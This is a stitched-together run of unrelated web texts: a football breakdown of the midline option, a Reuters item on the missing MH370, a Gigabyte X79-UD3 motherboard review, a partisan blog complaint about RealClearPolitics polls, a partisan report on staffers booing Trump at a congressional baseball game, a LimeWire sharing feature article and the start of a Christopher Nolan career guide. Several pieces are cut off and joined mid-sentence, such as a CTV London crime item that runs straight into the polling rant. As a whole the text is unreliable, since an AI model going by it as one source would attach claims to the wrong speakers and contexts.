In Paul Johnson’s system, the rule of thumb for calling midline is to run it at a 3-technique (B-gap defensive tackle), and then run inside veer at a 1-technique (A-gap defensive tackle). Defenses often use 3-techniques to force the playside tackle to block down on him on inside veer, therefore freeing up the middle linebacker.
In image 1, the paths for midline and inside veer as well as the dive reads are layed out. Against this front, midline is more viable to the left while inside veer is more viable to the right. On the left side, there is a 3-tech or B-gap defensive tackle. He is right in the path of inside veer, which can make the play not impossible, but more difficult. There is no lineman in the A-gap, so midline is a simple and more viable option. On the right side, there is a 1-tech/shade, or A-gap defensive tackles, right in the path of where midline would go. However, there is no B-gap defender, which is where inside veer attacks, making inside veer more viable to the right. Midline also isn’t viable to the right because the first defender to the right of the center is also the read, and he’s much too close for the QB to read.
These gaps that do not have defensive linemen in them are called “bubbles.” An easy rule of thumb when running the ball in any offense is to attack bubbles.
The basic version of midline is a double option between the QB and the B-back. The B-back dives right over the center, or to the center’s left or right butt cheek, and the QB attacks the B-gap to the playside. The play uses veer blocking just like inside veer, but it attacks one gap inside compared to inside veer. Therefore, the give/keep read defender is generally the first defensive lineman to the playside (as opposed to the first man on or outside the tackle on inside veer).
Rules and Assignments
The playside tackle will actually turn out the first man to his outside and drive him out (unless that defender is the first playside defender). The idea is to open up a hole in the B-gap for the QB to run, and the playside tackle secures the outside wall. The playside guard and center veer block just like they would on inside veer, but again, the first playside defender must remain unblocked. The backside guard and tackle scoop block just like they do on inside veer. The backside guard and center will often double team against an even front, while the playside guard and center often double team against odd fronts.
As mentioned earlier, the B-back dives over the center. The QB hops back and lands over the backside A-gap. This is so he can clear the “midline” path of the B-back. He rides the mesh with the B-back and reads the first playside defender off the snap. Using the same give/keep read rules for the dive phase on inside veer, the QB will either give or keep the ball. If he keeps the ball, he will immediately tuck the ball and charge upfield into the B-gap.
Read 1: The article on the inside veer talked about how the QB reads a defender. If the defender turns his shoulders in towards the QB, that indicated a keep read. As seen here, the guard dips his outside shoulder and rips to avoid the read defender. The read defender closed down so there wouldn’t be a hole once the guard moved onto a linebacker, and this puts that read defender on path to take the dive away. The QB sees the turned shoulders and pulls the ball.
Read 2: Here is midline with a give read. The guard avoids the first defender past the center just like the last read gif. Here however, the defender keeps his shoulders square to the line. The QB is taught that when the shoulders are square that indicates a give read.
Variations and using the A-backs
On the perimeter, the split ends stalk block the deep defenders just like they do on inside veer. There are a wide variety of ways to utilize the A-backs on midline. For Paul Johnson teams, their favorite way to use them is to send both A-backs through the B-gap to lead block for the QB. This is why midline is also referred to as a power running play at times. The backside A-back motions like he’s going to be a pitch back, but off the snap, he plants hard and leads through the B-gap. The playside A-back takes an inside step and loops inside of the playside tackle’s block for the playside linebacker.
Play 1: Midline double lead in action. The first man to the left of the center is the dive read, and he comes down for the B-back, giving the QB a keep read. Note the two lead blocks made by the A-backs. Another way to distinguish this play from others in this offense is the footwork of the QB. Watch how he almost hops or goes to the backside of the play before continuing playside. Also note the slightly longer motion taken by the A-back. This helps to set him up in a position to come downfield and lead block. Had the motion been cut shorter like it would have been on inside veer, the A-back would not be able to get out in front of the QB in time to lead block.
Another way to run midline is with a counter or “twirl” motion. The playside A-back motions as if it’s inside veer to the other side, then off the snap he leads for the playside linebacker. The backside A-back runs a pitch track. When these teams run the triple option version of midline, they’ll often use this look with the A-backs.
The twirl motion can help by getting linebackers or secondary players to start rotating away from the play and giving the offense a numbers advantage on the playside. At the same time, the pitch track by the A-back not in motion helps to keep playside secondary defenders honest, because the moment those defenders start chasing the twirl motion, they’ll run a play with the same motion, but get the ball to the A-back coming around on the pitch track.
A third way to block midline with the A-backs is to motion the backside A-back and lead him through the hole like the original version, but then have the playside A-back arc block on the run support defender. To the secondary, this looks like inside veer on the perimeter which can sometimes pull defenders into the alley, opening up holes in between the tackles.
Play 2: Here is midline with arc blocking, just like inside veer. Watch how the arc release by the A-back at the bottom of the screen pulls the safety to his side away from the middle, so when the B-back busts it past the linebackers, there is no safety help.
Midline Triple
Then there is “midline triple,” the triple option version of midline. The playside tackle now leaves the guy he normally blocks out alone, because that defender is now the pitch read. The tackle instead moves to the playside linebacker. He has to take the playside linebacker, because the playside A-back must now block on the perimeter, and the backside A-back has to be the pitch back.
Play 3: Here is midline triple in action. First note that the backside A-back gets into a good pitch relation despite not being in motion. That is because the QB’s footwork brings him to the backside more, which gives the A-back less distance to travel to get in a good pitch relation. Note too how the playside guard and tackle work together to take the playside linebacker and the safety. Again, since it’s a triple option, there is no kickout block on what would be the OLB. The tackle therefore can take the playside linebacker, freeing up the playside A-back in twirl motion to help block on the perimeter.
Normally, when midline triple is called, the defense is putting a DT on or inside the playside tackle, and he is closing too fast for the QB to make a good read on inside veer. By calling midline triple, the footwork puts the QB and B-back farther from that dive read after the snap, now buying the QB enough time to get a good read. Almost all midline triple options are pitched. Midline triple is another good play in that sense when a defense is bringing blitzes from the edge.
Washing defenders down
Sometimes when a defender is supposed to be kicked out, like the defensive end or OLB on midline, they pinch inside across the playside tackle’s face in a way that makes a kickout block impossible. No biggy. The easiest way to handle that is to take the defender where he wants to go. When this results in sealing that defender inside, this is called “washing down.”
Play 4: This play is midline with arc blocking, but on this play, the man who is to be kicked out by the tackle pinches inside. The tackle simply washes him down, and the QB (who gets a keep read) simply goes around the block for a huge gain.
Play 4 endzone: Here is the same play but from an endzone view.
This concludes the discussion on the midline option play. Again, this is the play for the offense that attacks the A-gap, and is probably the most commonly ran play in this offense. The next article will go over what is probably the most simply play in the offense, the zone dive.March 13 (Reuters) - U.S. investigators suspect that Malaysia Airlines Flight 370 stayed in the air for about four hours past the time it reached its last confirmed location, the Wall Street Journal reported, citing two people familiar with the details.
The report comes as authorities remain uncertain about which ocean to search for the jetliner that went missing on Saturday after taking off from Kuala Lumpur.
It raises the possibility that the plane, and the 239 people on board, could have flown on for hundreds of additional miles under conditions that remain murky, the newspaper reported. ()
The last definitive sighting of the aircraft on civilian radar screens came shortly before 1:30 a.m. on Saturday, less than an hour after taking off from Kuala Lumpur, as it flew northeast across the mouth of the Gulf of Thailand bound for Beijing.
Aviation investigators and national security officials believe the plane flew for a total of five hours based on data automatically downloaded and sent to the ground from the Boeing Co 777’s engines as part of a routine maintenance and monitoring program, the Journal said.Over the years, Gigabyte has given us some interesting products. More recently in the past 18 months, Rajinder gave their H55N-USB3 motherboard a well deserved recommendation, and more recently, I have scrutinized their Sandy Bridge range. For X79, Gigabyte is uncharacteristically launching only a few motherboards, of which we are looking at their cheapest model, the X79-UD3. We are also for the first time introduced to what Gigabyte believe should be a graphical BIOS compared to their competitors. Read on for the full review.
The full Gigabyte X79 range consists of a UD3, a UD5, an overclock oriented UD7-OC and a gamer G1 Assassin 2. Typically we see Gigabyte jump at the more esoteric features of a chipset, always willing to take advantage of newer features, but sometimes at the expense of the in-the-box package or memory compatibility.
Overview
It is hard to have a unique overview on the UD3, especially if we compare it to other boards on the market. The price ($270 MSRP) suggests it should sit square between the ASUS P9X79 Pro ($330) and the ASRock X79 Extreme4 ($235), both of which we have reviewed recently, so the expectation should be that it falls between the two:
ASUS P9X79 Pro Gigabyte
GA-X79-UD3 ASRock
X79 Extreme4 Price (MRSP) $330 $270 $235 Memory Slots 8 4 4 PCIe 2 x PCIe x16
2 x PCIe x8
2 x PCIe x1 2 x PCIe x16
2 x PCIe x8
2 x PCIe x1
1 x PCI 2 x PCIe x16
1 x PCIe x8
2 x PCIe x1
2 x PCI SATA 6 Gbps
SATA 3 Gbps 4
4 6
4 5
4 USB 3.0
USB 2.0 6
14 4
14 4
12 Power/Reset Buttons Yes No Yes Fan Headers 6 5 6 VRM 8+2 8+1 6+2 Clear CMOS Button Header Button LAN Intel 82579V Intel 82579V Broadcom BCM57781 Audio Realtek ALC898 Realtek ALC898 Realtek ALC898 In The Box IO Shield
Manual
Driver CD
6 x SATA cables
Long SLI Cable
3-way Bridge IO Shield
Manual
Driver CD
4 x SATA Cables
Long SLI Cable
Long CFX Cable
3-way SLI Bridge
4-way SLI Bridge IO Shield
Driver CD
4 x SATA Cables
Long SLI Cable
3-way SLI Bridge Warranty 3 Years 3 Years Depends on Region
Overall, we could consider this review in two ways. One, in terms of performance and features, which for a $270 fits reasonably well in the X79 schema, but comes up against stiff competition from ASRock offerings we have reviewed. Or two, in terms of my experience with the board, which wasn't the most positive experience. I initially had memory problems which required another memory kit, which worked fine the first time to get results, then not any other subsequent time, suggesting a BIOS update will be needed for memory compatibility. I also had an issue with the PCIe bandwidth, which didn't impact to any noticeable degree with results (it only affected certain dual GPU tests) which Gigabyte assure me was more a hardware anomaly rather than par-for-the course.
I see a lot of system bundles here in the UK that offer Gigabyte boards, and no doubt this is a board that should sell well for people looking to move to X79/Sandy Bridge-E on not a lot of money. It has a couple of unique features that other vendors have the option to use but do not (TPM being the prime example), as well as a substantial number of SATA 6 Gbps ports to use, as long as you're not in quad-GPU land.
Visual Inspection
This first image of the board is one I pulled directly from the Gigabyte website - a schematic of the X79-UD3 indicating various features. The CPU socket area is surrounded on either side by two DIMM slots, for quad-channel memory support. The UD3 has one DIMM per channel, which in the 'budget' land of X79 is standard. The 8+1 CPU VRM is below a grey spiky heatsink that doesn't seem to heat up significantly under CPU load, suggesting it is efficient at heat dissipation. Three of the motherboard fan headers are in this area - there are CPU and a SYS fan headers on the top left (both 4-pin), and another SYS fan header to the right of the memory, also 4-pin. The other two SYS headers are on the bottom of the board, and are both 3-pin.
The SATA ports are numerous but slightly abnormal. The pair of white ports don't fit in to the color scheme of the board, but are the two SATA 6 Gbps ports from the PCH. Underneath, are the four black ports, which are the four SATA 3 Gbps, also from the PCH. The two grey ports underneath are a pair of SATA 6 Gbps from a Marvell 88SE9172 controller - there are two more grey SATA 6 Gbps ports from another Marvell controller, but these are located on the south end of the board, with the other headers. Gigabyte have at least done a bit of thinking here - even though these two ports stick out of the board and are at the bottom, the only way to block them is when a user is in quad-GPU mode with four dual slot discrete GPUs. These two ports are ideal to fit in some more drives at the bottom of a case, for example when the SSD is bolted to the bottom rather than the mechanical HDDs which could be to the side.
The PCH/chipset cooler is low profile and multi-ridged so allow for maximum airflow. Normally on some of the higher end boards, we see this heatsink attached to another heatsink via a heatpipe. Gigabyte's large but low profile negates the need for this, however it does get a tad warm to touch during high throughput scenarios.
So far we have seen most X79 motherboards having power/reset/Clear CMOS buttons on board and a Debug LED - useful for reviewers when coming up against hardware limits but also for consumers if a certain error has arisen. Unfortunately we don't see these on the UD3, perhaps for different goals (compared to the ASRock X79 Extreme4, which does have them and is cheaper), which is unfortunate. Users will have to short two pins to get a Clear CMOS, which given the initial graphical BIOS implementation and overclock issues I had, is also a little frustrating.
The PCIe layout is as simple as can be, with (from the top) an x16, x1, x8, x1, x16, x1, x8 - when the bottom x8 is populated, the second x16 reduces to x8, as these slots are multiplexed. All the x16 are PCIe 3.0 to help with PCIe bandwidth limited scenarios, but again I have to credit Gigabyte for their thought in layout - I always envisage the scenario when I have two full length, double slot GPUs, and an x1 card. In the X79-UD3, I'd populate the two x16 slots with GPUs, and the x1 card in the available x1 slot (the second x1 on board). This gives both GPUs at least one slot width for airflow. Some motherboard manufacturers still can't get this right, so kudos to Gigabyte.
The back panel as awash with USB ports - eight USB 2.0 ports in red and two USB 3.0 ports in blue. There are also two blue eSATA 6 Gbps ports, a solitary PS/2 port, optical and coaxial SPDIF outputs, an Intel gigabit Ethernet connector, and audio jacks from a Realtek ALC898. Overall, this is a little simple - no Clear CMOS button, and no Firewire ports.CTV London
London police were called to a Scotia Bank branch at 1880 Dundas Street |
shill site that has become popular this year but may be demoralizing to Democrats because of willful misinformation.
Edit 9/24/12 8:13 AM central: Thanks for the recs guys. Now spread this around to any Dems that you know that poll-watch. RCP cannot be used or trusted.
10/24/12 8:20 AM Central: Finding other polls that they are not using, like the slew of national trackers that have Obama up ticking. If anyone has any poll they would like to add to this list in any swing state, let me know. Finding these omissions only took me 5-10 minutes.
He's added SUSA for Ohio (along with today's Rasmussen tied poll, so that effectively cancels out the Obama getting this blue arrow, imagine that.) He still has yet to add the PPP +1 in Iowa poll for Obama, and the PPP poll +2 in Virginia. This is the most glaring omission, where the hell is this poll in his Virginia polling list?
Where is UPI? UPI poll released today shows Obama ahead nationally, as well as a bounce. Yet he was quick to release the Rasmussen poll with Romney +4.
O+2
http://www.upi.com/...
In case you don't believe me, this morning, "Morning Joe" had an entire segment devoted to battleground states as seen by Real Clear Politics: http://www.msnbc.msn.com/...Thursday night’s Congressional Baseball Game was hailed as the ultimate sign of bipartisan unity, but dozens of Democrat staffers reportedly cursed, booed, and jeered when President Donald Trump appeared on the video screen at Nationals Park to deliver a message of unity.
According to a Washington Times report, the “staffers erupted into boos, jeers and even vulgar gesticulations” while Trump was saying, “you are showing the world we will not be intimidated by threats.” One person reportedly “shouted an expletive” at Trump while others even mocked the teams when they gathered near second base in prayer.
“As you all know tonight’s game has taken on a much deeper level of meaning, beyond anything that we would have thought,” Trump said in the video. “By playing tonight, you are showing the world that we will not be intimidated by threats, acts of violence, or assaults on our democracy.”
After House Majority Whip Steve Scalise (R-LA) was shot Wednesday morning while practicing for the game with his fellow Republican teammates, leaders of both parties called for unity and civility.
Perhaps Democrats were just following their leader Nancy Pelosi (D-CA). The House Minority Leader ended the truce hours before the game when she accused Republicans of being “sanctimonious” for expressing concern about violent left-wing rhetoric that may have motivated the shooter, a rabid hater of President Donald Trump and Republicans. The shooter, James Hodgkinson, asked at least two Representatives whether the players on the baseball diamond were Republicans or Democrats before opening fire.
Capitol Police Special Agent David Bailey, who was shot while taking down the shooter with two other special agents to prevent what Sen. Rand Paul (R-KY) said would have otherwise been a massacre, threw out the first pitch.
Capitol Police Officer David Bailey — wounded in yesterday's attack — threw out tonight's first pitch. #CongressionalBaseballGame pic.twitter.com/68EpsNXFKM — Washington Nationals (@Nationals) June 16, 2017File sharing doesn't have to be about indiscriminate trading with anonymous strangers.
LimeWire served up a major upgrade to its file sharing client Wednesday with a simpler interface and powerful private sharing features.
Using the new version, you could potentially share music with your friends, download NSFW videos from wherever and share photos with your family — all without anyone being the wiser.
This may sound risky, but
LimeWire's new sharing features allow a level of control over what you're sharing with whom that makes it a feasible scenario. You can still use it just like the old version, to share and download from strangers, but the socially networked sharing feature could become the main way many people use the program.
The alpha version of LimeWire was made public for Windows, Mac and Linux on Wednesday at around noon. The program installs easily, importing files from your library and letting you search and download music, video, images, documents and other files from the gnutella P2P network. It can also act as your bit torrent client. But the main improvement here is the way it lets you set up easy, private file sharing networks on a file-by-file, user-by-user basis.
"I have a
65-year-old mother in Scotland, and the idea of asking her to sign up with Snapfish and to log in, and the upload process, it's still a very complicated thing for ordinary people," said LimeWire COO Kevin Bradshaw when he first told us of the plan. "Imagine a situation where she would have an installation of LimeWire... I could just drop pictures into a folder on my hard drive and they would automatically appear on her drive."
Indeed, the free private sharing feature (instructions below) is the strongest selling point of the new LimeWire. But you can also use it as before to download stuff from strangers and share content with the gnutella network at large. But in it's default mode, LimeWire is only set to share files you downloaded from the network; all other content in the library must be intentionally shared, either with specific users or the network in general.
Here's how it works. The first thing you'll notice after you upgrade is the new, super clean interface. If you can't figure out how to search for files with this interface, you might want to get yourself checked. Note: some of these screenshots are of the private alpha version.
The search results start rolling in. As with the previous version, each search query spawns a new tab:
Double-clicking on a search result brings up the download screen. LimeWire can automatically import all downloaded music into your iTunes library:
[ ](/images_blogs/photos/uncategorized/2008/12/10/downloading.jpg)Now we get to this new private sharing feature. After you enter your Gmail user name and password (or other Jabber log-in), your friends show up in a list to the left. LimeWire product manager said they're working to add the ability to import friends from Facebook and other sites. Friends who are online appear in a chat window so you can ask them to download and install it. Once they do, you'll be able to decide which files to share with them and view the files they're sharing with you. Names of friends have been obscured (in other examples, we cropped them out):
Again, in LimeWire's default setting, only files downloaded from LimeWire are shared, as opposed to most other file sharing clients, which share everything in your library by default. However, you can activate network-wide sharing for files by clicking the Share link next to each one or by right-clicking multiple files. Note that files can be unshared at any time:
The other way to share files in the new LimeWire is to choose a specific person in your friend list and then designate files or entire file types to be shared with them. You can do this for music, videos, images, documents, programs and other file types:
LimeWire product manager Nathan Lovejoy told us that the company intentionally left out a way to add friends from the community at large to your friend list, as one could with the original Napster (although you can download whatever they're sharing publicly).
That way, he said, people really have to know those they're sharing with. Not only does this discourage RIAA snoops, but it should also result in a more personal experience when using the software, because people will actually have to know their friends. What a concept!
In addition to file-by-file private sharing, the other main way to share files with a friend is to share all of a certain type of media — audio, video, documents and/or images. To do this, you select the media type in your library and then hit the share button. In this case, I'm going to share all of my audio files with a specific friend. This feature could work great for sharing all your photos with family, while keeping your music and videos to yourself:
Then you enter the friend's name:
Click on any of your friends to see what they're sharing with you, categorized by file type:
The LimeWire music store is available within the application, so you can purchase MP3s for $1 a piece, or cheaper if you buy in bulk:
The LimeWire alpha version is already relatively stable, and already offers a solid way for users to move beyond vanilla file sharing towards a personalized social media network for friends and family. Whenever you share files on a file sharing network (with a few exceptions), you expose your IP address to other users of the network, which is how the RIAA picks people to sue. LimeWire's simple-to-use private sharing features will help file sharers avoid legal scrutiny, but they also represent a substantial, non-infringing use for the program that will be of great benefit to users. And you can forget about the file size limitations of e-mail, online file-sending services and the like. LimeWire lets you share files of any size for free, because it transfers content directly from computer to computer.
You can download the new LimeWire as of Wednesday. Lovejoy tells us that the beta version should be ready in a couple of weeks.
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Christopher Nolan: The Ultimate Guide to His Films and Directing Techniques
Nolan has built a reputation in the film industry as a grand showman and visual magician firmly in command of his craft.
He’s infamous for assembling his complex and intricately layered plots like a puzzle, presenting them in such a way that respects the audience’s intelligence while simultaneously indulging their desire for exhilarating escapist entertainment. He tells stories on a tremendously large scale, and it’s all too easy to be swept away the sheer scope of his vision and ambition.
Best known for his record-shattering, paradigm-shifting DARK KNIGHT TRILOGY, Nolan’s meteoric rise to consistently unprecedented heights of financial and cultural success has established him as one of one of those rare filmmakers who is able to harness the full power of the Hollywood studio system to his benefit.
It wasn’t always this way, however– Nolan’s ascent to the stratosphere of visionary directors was preceded by a long period of obscurity and rejection that any aspiring filmmaker can relate to.
Christopher Nolan was born in 1970 in London, the 2nd of 3 boys born to a British advertising executive and an American teacher. The jarring culture split that the Nolan boys experienced through their childhood is perhaps best exemplified by the difference in accents between Nolan and his younger brother, Jonathan– who would go on to become his writing partner and a close professional collaborator.
Also check out Chris Nolan’s Screenplay Collection for PDF Download
Nolan speaks in an elegant British lilt, while Jonathan’s all-American speech patterns reflects the fact that the Nolan boys spent a great deal of time living in Chicago as well as the UK.
From an early age, Nolan found himself enamored with cinema, and after seeing George Lucas’ STAR WARS at age 7, he was inspired to make Super 8mm stop-motion movies with his father’s film camera. He would go on to attend University College London, where he studied English literature in the absence of a film program.
In lieu of a formalized education in filmmaking, he established an on-campus cinema society with Emma Thomas– his classmate, future producing partner and future wife– in addition to devouring the works of key influences like Stanley Kubrick, Ridley Scott, Orson Welles, and Michael Mann.
At age nineteen, he made his first film, TARANTELLA– an 8mm short that was eventually shown on English television. That development encouraged the burgeoning director to make another short called LARCENY, which debuted at the 1995 Cambridge Film Festival.
For quite some time afterwards, Nolan toiled in obscurity, paying the bills with corporate and industrial films he was able to commission. All the while, he was applying to various British film organizations in an unsuccessful attempt to obtain grant money for another narrative effort.
Perhaps disheartened by the rejection, and emboldened by the take-no-prisoners, do-it-yourself attitude of the 90’s indie scene, Nolan decided to take matters into his own hands.
THE DIRECTORS SERIES is an educational/editorial collection of video and text essays by filmmaker Cameron Beyl, dedicated to appreciating and deconstructing the work of contemporary and classic film directors. This ongoing project is made possible in part by our generous supporters on Patreon. Please visit our profile page to learn how you can become a patron: patreon.com/directorsseries
5.1: THE NON-LINEAR NEO-NOIRS is the first chapter of THE DIRECTORS SERIES’ examination into the films and careers of director Christopher Nolan, covering his pair of breakout independent neo-noirs:
Nolan: DOODLEBUG (1997)
After marrying Emma in 1997, Christopher Nolan enlisted her help to produce his third short film, DOODLEBUG. The three minute piece– the earliest of Nolan’s publicly-available works– stars the British actor Jeremy Theobald, who would go on to headline Nolan’s first feature a year later.
Shot on grainy 16mm black and white film, Nolan imbues the film with a kinetic energy at odds with the claustrophobic setting. Nolan’s idea of a man chasing a bug around his apartment, only to find out the bug is a smaller version of himself, foreshadows the narrative sleight of hand he’d bring to his feature work as well as his inventiveness with practical visual effects.
Nolan: FOLLOWING (1998)
Around the time of the making of his short DOODLEBUG (1997), director Christopher Nolan found himself the victim of a burglary. Whereas most people would be understandably distraught if their apartment had been broken into and their belongings stolen, Nolan’s chief reaction was curiosity.
He wondered what the burglars were thinking as they rifled through his things– what conclusions could they come to about his life based solely on the artifacts and totems of his existence? In time, he would shape these musings into a story for a feature-length film he called FOLLOWING.
Having learned his lesson not to rely on the favor of unsympathetic British film institutions, Nolan fashioned the film as a lean, mean, razor-taut little thriller he could shoot for as little money as possible.
Taking the idea of a low-budget production to its very extreme, Nolan self-financed the film with the earnings from his day job– stretching the value of his dollar by shooting on weekends, employing friends and family as cast and crew, and commandeering their homes and flats as free locations.
This approach naturally caused the shoot to drag on in fits and starts over the course of a year, but when all was said and done, Nolan had his first feature film in the can– and it only cost him six thousand dollars.
Jeremy Theobald’s protagonist is not given a name– a fitting choice for a lonely writer who lives vicariously through the strangers he follows around his grimy London neighborhood.
Owing to the down-and-dirty nature of the film’s production circumstances, Theobald’s performance isn’t exactly the most natural or convincing, but it’s compelling enough to sustain the audience through the breathlessly-brief 70 minute runtime.
It helps that he’s given a charming and enigmatic antagonist in the form of Alex Haw’s Cobb. Cobb is an impeccably-dressed, charismatic thief– his cavalier philosophy towards burglary as a cathartic form of human connection is presented as seductive and cool, almost like a boarding school Tyler Durden.
FOLLOWING borrows many elements from the well-trod noir genre, not the least of which is the inclusion of a blonde, morally-ambiguous femme fatale– played here by Lucy Russell. There’s a photograph by Theobald’s character’s desk of Marilyn Monroe, and one can’t help but notice Russell’ eerie resemblance to the iconic movie star.
Like Theobald, Russell also isn’t given a name– she’s credited only as The Blonde, a conceit that lends some fuel to critiques that Nolan’s female characters on the whole are not particularly well-developed.
Russell is perfectly convincing within the film’s framework, but the stock-character nature of The Blonde’s personality doesn’t afford her many opportunities to transcend the material. Funnily enough, however, Russell would be the only member of FOLLOWING’s cast to go on to a larger acting career.
Nolan has pioneered the use of large-format film mediums like IMAX to create a super-sized canvas for his high-stakes narratives, but even within the square confines of FOLLOWING’s 16mm frame, he’s able to convey a palpable, larger-than-life approach.
While the scope of his later work would command some of the highest budgets the industry has ever seen, the single largest expense for FOLLOWING’s scrappy production was the 16mm film stock itself. Nolan and his crew conserved as much of their precious stock as possible, rehearsing extensively prior to shooting so they could nab what they wanted in one or two takes.
Indeed, his insistence on celluloid is what separates Nolan from his peers, most of whom got their own no-budget projects off the ground by embracing the relative cheapness of digital video.
FOLLOWING’s photochemical cinematography points to Nolan’s purist attitude towards the medium, and foreshadows his eventual position as one of the industry’s most vocal defenders of celluloid in the face of digital’s unstoppable advance. In shooting FOLLOWING, Nolan acted as his own cameraman, utilizing mostly natural light to expose his grainy black and white images.
The majority of Nolan’s camerawork is handheld, which gives the film a kinetic and swift energy thanks to the fluid mobility and quick setup time afforded by the technique.
While Nolan used handheld camerawork primarily as a way to keep costs down, he was concerned that his choice might also lead to the impression that the film was amateurish, or that he didn’t know what he was doing. To counter these concerns, he employed the smooth, polished movement of a dolly track during the interrogation scene that opens the film as a way to communicate to the audience that the predominant use of a handheld camerawork was a deliberate, stylistic choice.
While Nolan essentially acted as a one-man crew during production, he used post-production as an opportunity to enlist the collaborative efforts of musician David Julyan, who provides FOLLOWING with a pulsing, grimy score comprised of droning synths and jittery staccato tones.
By virtue of its shoestring budget, FOLLOWING’s aesthetic is easily the most radical within Nolan’s canon. It speaks in a language born of necessity and deprivation, a world apart from the style that he’d solidify in his studio work. However, FOLLOWING does establish techniques and ideas that Nolan would further develop in the years to come.
For instance, he’s gained a bit of a reputation as a meticulous dresser, showing up to set in a business-casual wardrobe he’s refined into something of a uniform. This aspect of his personality makes its way into his films, as many of his characters are given a palpable sartorial sensibility that’s high on functional style and low on extraneous embellishment.
Even in the context of a no-budget film like FOLLOWING, Nolan still places an emphasis on his characters’ costuming, using it as a story tool to highlight the strategic advantages of a presentable appearance in the world of burglary.
The structuring of FOLLOWING’s narrative signals another key component of Nolan’s aesthetic: the non-linearity of time. Simply put: time is never a straight line in Nolan’s films– whether it’s BATMAN BEGINS utilizing a recurring flashback motif, MEMENTO unfolding entirely in backwards chronological order, INCEPTION playing out against multiple parallel planes of space-time connected by a relativistic relationship, or INTERSTELLAR exploring gravity’s ability to warp our perception of time itself.
Christopher Nolan cites this aspect of his aesthetic as being inspired at a very young age by Graham Swift’s novel “Waterland” and its parallel structuring of time. FOLLOWING pays tribute to this conceit by jumbling the order of its scenes non-sequentially– a decision made in large part to disguise the story’s major twist.
Indeed, the only visual clue Nolan gives to clue us on in which shard of the fractured timeline we’re in is via Theobald’s changing appearance from scraggly slacker to polished businessman and then to his final form as a defeated mound of ground-up beef.
While presented as something of a random shuffling of loosely connected scenes, Nolan’s ordering of the narrative is actually rather surgical, meticulously designed to enhance the impact of the mounting drama while constantly challenging our assumptions about what’s going on.
And just to show that the integrity of his story isn’t dependent on the gimmick of its nonlinear presentation, he even goes as far as assembling the scenes into proper chronological order in a completely separate linear that’s no less surprising or structurally sound and including it on the Criterion Collection’s 2012 Blu Ray release.
Just as the Batman logo on Theobald’s apartment door foreshadows his eventual cinematic involvement with the Caped Crusader, FOLLOWING’s unique structure portends the puzzle-like, revelation-based storytelling style that Nolan would build his career on.
Like so many no-budget films of its kind, the completion of FOLLOWING in 1998 wasn’t greeted with instantaneous acclaim or a great deal of attention. It almost even didn’t get finished in the first place, had it not been for the saving grace of indie producer Peter Broderick, who secured completion funds after screening Nolan’s rough cut.
Thanks to its lack of star power and technical polish, FOLLOWING was shut out from several major film festivals– event those devoted to truly independent cinema like Sundance or Slamdance (in Slamdance’s defense, however, they would eventually accept the film into their festival after Nolan submitted his completely re-tooled final cut a year after his rejection).
FOLLOWING would ultimately premiere at the San Francisco Film Festival, gathering modest (yet consistent) praise as an engaging, if obscure, little thriller. The film would find a distributor in Zeitgeist Films, who would release it to a tepid box office haul of fifty thousand dollars.
Nolan didn’t have much cause for concern though– by the time FOLLOWING had wound through its interminable festival circuit and theatrical release window, he had already optioned the script for a follow-up that would give him the breakthrough he needed and desired.
As Nolan’s career has since played out, the thematic similarities between FOLLOWING and his 2010 dreamscape thriller INCEPTION have become more pronounced. In his essay “‘Nolan Begins”, former chief film critic for Variety, Scott Foundas, goes so far as to dub FOLLOWING a first draft for INCEPTION, citing that both films are in effect “a heist of the mind” masterminded by a slickly-dressed career criminal named Cobb.
On its own merits, FOLLOWING is a fascinating insight into the early voice of a massively influential contemporary filmmaker and the raw directorial powers he could exert with minimal resources and a tireless drive.
Nolan: MEMENTO (2000)
As if shooting and releasing his first feature film (1998’s FOLLOWING) wasn’t momentous enough an undertaking, around this time director Christopher Nolan was also undergoing a big move across the Atlantic to pursue his aspirations as a filmmaker in Los Angeles. He stopped first in Chicago to meet up with his brother Jonathan, who would be accompanying him on the cross-country drive.
As they drove west, Jonathan pitched an idea for a short story called “Memento Mori”, about a man suffering from acute short-term memory loss. Instantly taken with the idea, Nolan encouraged his brother to continue developing it even as he repurposed the concept into an entirely separate story. The brothers worked independently from each other for some time afterward, giving each other notes on their respective stories while not directly adapting what the other was doing.
As such, the two finished works are very dissimilar. Nolan’s finished screenplay– simply titled MEMENTO– was taken by Emma Thomas to Newmarket Films, where executives reportedly hailed the script as one of the most innovative they had ever read. With a greenlight to make MEMENTO for $4.5 million over 25 shooting days, Nolan finally had a chance to make his big break– but in order to make the best of it, he had to move quickly.
MEMENTO marks the first time that Nolan would work with established talent, but very few know just how big of a name he almost had. Before scheduling conflicts caused him to drop out, none other than Brad Pitt was originally attached to star in the role of protagonist Leonard Shelby, a former insurance claims investigator suffering from anterograde amnesia.
The role was eventually filled by Guy Pearce, who delivers a breathlessly fierce performance as a man out to avenge the brutal rape and murder of his wife, despite the fact that he can’t remember what he did two minutes ago. The character of Leonard Shelby is one of the more peculiar protagonists in American cinema– driving a Jaguar he doesn’t remember how he obtained, and wearing an ill-fitting suit that he’s pretty sure he didn’t buy.
Incapable of storing memories in his mind, he instead tattoos his flesh as a way to remember the clues he needs to find his wife’s killer. As such, he’s vulnerable to the designs of others with malevolent intentions, and the nature of his illness means that he can’t fully trust any relationship he has. One of these ambiguously-defined allies is Carrie-Ann Moss’ Natalie, a cocktail waitress whose boyfriend troubles might have more to do with Leonard than he realizes.
Fresh off the breakout success of THE MATRIX, Moss was imaginably quite helpful in securing her co-star Joe Pantoliano for the role of Teddy, an undercover cop whose eagerness to help Leonard find his wife’s killer can’t shake a profound sense of suspiciousness about him.
Seasoned character actors Stephen Tobolowsky and Mark Boone Junior also appear, with the former as a case study of Leonard’s with a similar condition and the latter as a self-advantageous motel clerk who is surprisingly honest about how he profits off Leonard’s memory loss.
MEMENTO represents a huge step up for Nolan in the visual department, thanks to a budget that’s quite generous by indie standards. On the most basic level, Nolan graduates from the square 16mm frame to the anamorphic 35mm gauge– an upgrade boosted by his first collaboration with cinematographer Wally Pfister, who would go on to become an integral creative partner for Nolan throughout his subsequent work.
Pfister’s eye for stark contrast, subdued color, and naturalistic lighting mesh perfectly with Nolan’s gritty vision of a slightly-heightened reality. MEMENTO’s use of color informs its innovative and distinct non-linear structure, alternating between color and monochromatic sequences in an effort to orient the audience as to where they currently stand in the timeline.
The color blue in particular becomes a potent visual signifier, appearing on doors, hotel room walls, bars, and even Leonard’s suit, almost as if they were signposts for him to follow.
